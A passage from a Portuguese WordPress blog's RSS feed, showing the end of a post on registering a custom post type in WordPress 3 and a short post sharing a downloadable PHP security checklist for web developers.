<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;">register_post_type<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'testemunials'</span><span style="color: #339933;">,</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span>
    <span style="color: #0000ff;">'label'</span> <span style="color: #339933;">=&gt;</span> __<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'Testemunials'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span>
    <span style="color: #0000ff;">'singular_label'</span> <span style="color: #339933;">=&gt;</span> __<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'Testemunial'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span>
    <span style="color: #0000ff;">'description'</span> <span style="color: #339933;">=&gt;</span> <span style="color: #0000ff;">'Here goes my testemunials'</span><span style="color: #339933;">,</span>
    <span style="color: #0000ff;">'public'</span> <span style="color: #339933;">=&gt;</span> <span style="color: #009900; font-weight: bold;">true</span><span style="color: #339933;">,</span>
    <span style="color: #0000ff;">'show_ui'</span> <span style="color: #339933;">=&gt;</span> <span style="color: #009900; font-weight: bold;">true</span><span style="color: #339933;">,</span>
    <span style="color: #0000ff;">'capability_type'</span> <span style="color: #339933;">=&gt;</span> <span style="color: #0000ff;">'post'</span><span style="color: #339933;">,</span>
    <span style="color: #0000ff;">'hierarchical'</span> <span style="color: #339933;">=&gt;</span> <span style="color: #009900; font-weight: bold;">false</span><span style="color: #339933;">,</span>
    <span style="color: #0000ff;">'rewrite'</span> <span style="color: #339933;">=&gt;</span> <span style="color: #009900; font-weight: bold;">false</span><span style="color: #339933;">,</span>
    <span style="color: #0000ff;">'query_var'</span> <span style="color: #339933;">=&gt;</span> <span style="color: #009900; font-weight: bold;">false</span><span style="color: #339933;">,</span>
    <span style="color: #0000ff;">'supports'</span> <span style="color: #339933;">=&gt;</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span>
        <span style="color: #0000ff;">'title'</span><span style="color: #339933;">,</span>
        <span style="color: #0000ff;">'editor'</span><span style="color: #339933;">,</span>
        <span style="color: #0000ff;">'author'</span><span style="color: #339933;">,</span>
        <span style="color: #0000ff;">'excerpts'</span><span style="color: #339933;">,</span>
        <span style="color: #0000ff;">'comments'</span>
    <span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

<p><img class="aligncenter size-medium wp-image-773" title="Menu Custom Post-Type" src="http://joaopedropereira.com/blog/wp-content/uploads/2010/04/menu2-143x300.png" alt="" width="143" height="300" /></p>
<p>Tal como é possível definir vários tipos de posts também é possível utilizar esta funcionalidade para páginas diferentes alterando o parâmetro &#8216;capability_type&#8217; para &#8216;capability_type&#8217;=&gt;&#8217;page&#8217;.</p>
<p><strong><span style="text-decoration: underline;">Function Reference/register post type:</span></strong> <a title="Function Reference/register post type" href="http://codex.wordpress.org/Function_Reference/register_post_type" target="_blank">http://codex.wordpress.org/Function_Reference/register_post_type</a></p>
<div class="shr-publisher-752"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><div class='shareaholic-like-buttonset' style='float:none;height:30px;'><a class='shareaholic-fblike' data-shr_layout='button_count' data-shr_showfaces='false' data-shr_href='http%3A%2F%2Fjoaopedropereira.com%2Fblog%2F2010%2F04%2F21%2Fwordpress-3-review%2F' data-shr_title='New+Features+Wordpress+3+Review'></a><a class='shareaholic-fbsend' data-shr_href='http%3A%2F%2Fjoaopedropereira.com%2Fblog%2F2010%2F04%2F21%2Fwordpress-3-review%2F'></a><a class='shareaholic-googleplusone' data-shr_size='medium' data-shr_count='true' data-shr_href='http%3A%2F%2Fjoaopedropereira.com%2Fblog%2F2010%2F04%2F21%2Fwordpress-3-review%2F' data-shr_title='New+Features+Wordpress+3+Review'></a></div><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><!-- End Shareaholic LikeButtonSetBottom Automatic -->]]></content:encoded>
			<wfw:commentRss>http://joaopedropereira.com/blog/2010/04/21/wordpress-3-review/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>PHP Security Check-List CheatSheet</title>
		<link>http://joaopedropereira.com/blog/2010/04/18/php-security-check-list-cheatsheet/</link>
		<comments>http://joaopedropereira.com/blog/2010/04/18/php-security-check-list-cheatsheet/#comments</comments>
		<pubDate>Sun, 18 Apr 2010 13:41:56 +0000</pubDate>
		<dc:creator>João Pedro Pereira</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Segurança]]></category>
		<category><![CDATA[Webdevelopment]]></category>
		<category><![CDATA[cheatsheet]]></category>
		<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://joaopedropereira.com/blog/?p=743</guid>
		<description><![CDATA[Para cada projecto que tenho desenvolvido ultimamente utilizando a linguagem de programação server-side PHP, tenho-me guiado por uma checklist de forma a não me esquecer  de nada evitando assim falhas graves nas aplicações que desenvolvo. Pois a segurança é uma das preocupações que tenho. Esta checklist aborda diversas situações como, casos gerais, casos de input, [...]]]></description>
			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><!-- End Shareaholic LikeButtonSetTop Automatic --><div class="tweetmeme_button" style="float: left; margin-right: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fjoaopedropereira.com%2Fblog%2F2010%2F04%2F18%2Fphp-security-check-list-cheatsheet%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fjoaopedropereira.com%2Fblog%2F2010%2F04%2F18%2Fphp-security-check-list-cheatsheet%2F&amp;source=joaoppereira&amp;style=normal&amp;service=bit.ly&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p>Para cada projecto que tenho desenvolvido ultimamente utilizando a linguagem de programação server-side PHP, tenho-me guiado por uma checklist de forma a não me esquecer  de nada evitando assim falhas graves nas aplicações que desenvolvo. Pois a segurança é uma das preocupações que tenho.</p>
<p>Esta checklist aborda diversas situações como, casos gerais, casos de input, file uploads, autenticação, entre outros.</p>
<div id="attachment_744" class="wp-caption aligncenter" style="width: 234px"><a href="http://joaopedropereira.com/files/phpsec_cheatsheet.pdf"><img class="size-medium wp-image-744" title="PHP Security CheckList" src="http://joaopedropereira.com/blog/wp-content/uploads/2010/04/phpsec_cheatsheet-224x300.png" alt="" width="224" height="300" /></a><p class="wp-caption-text">Click on image to download</p></div>
<p>Recomendo vivamente a sua utilização e até sugestões de melhorias, apesar de ela não ser da minha autoria.</p>
<p>O que acham desta checklist? Conhecem alguma melhor? Como se guiam no desenvolvimento de aplicações web de forma  a manter a segurança da mesma?</p>
<div class="shr-publisher-743"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><div class='shareaholic-like-buttonset' style='float:none;height:30px;'><a class='shareaholic-fblike' data-shr_layout='button_count' data-shr_showfaces='false' data-shr_href='http%3A%2F%2Fjoaopedropereira.com%2Fblog%2F2010%2F04%2F18%2Fphp-security-check-list-cheatsheet%2F' data-shr_title='PHP+Security+Check-List+CheatSheet'></a><a class='shareaholic-fbsend' data-shr_href='http%3A%2F%2Fjoaopedropereira.com%2Fblog%2F2010%2F04%2F18%2Fphp-security-check-list-cheatsheet%2F'></a><a class='shareaholic-googleplusone' data-shr_size='medium' data-shr_count='true' data-shr_href='http%3A%2F%2Fjoaopedropereira.com%2Fblog%2F2010%2F04%2F18%2Fphp-security-check-list-cheatsheet%2F' data-shr_title='PHP+Security+Check-List+CheatSheet'></a></div><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><!-- End Shareaholic LikeButtonSetBottom Automatic -->]]></content:encoded>
			<wfw:commentRss>http://joaopedropereira.com/blog/2010/04/18/php-security-check-list-cheatsheet/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
	</channel>
</rss>

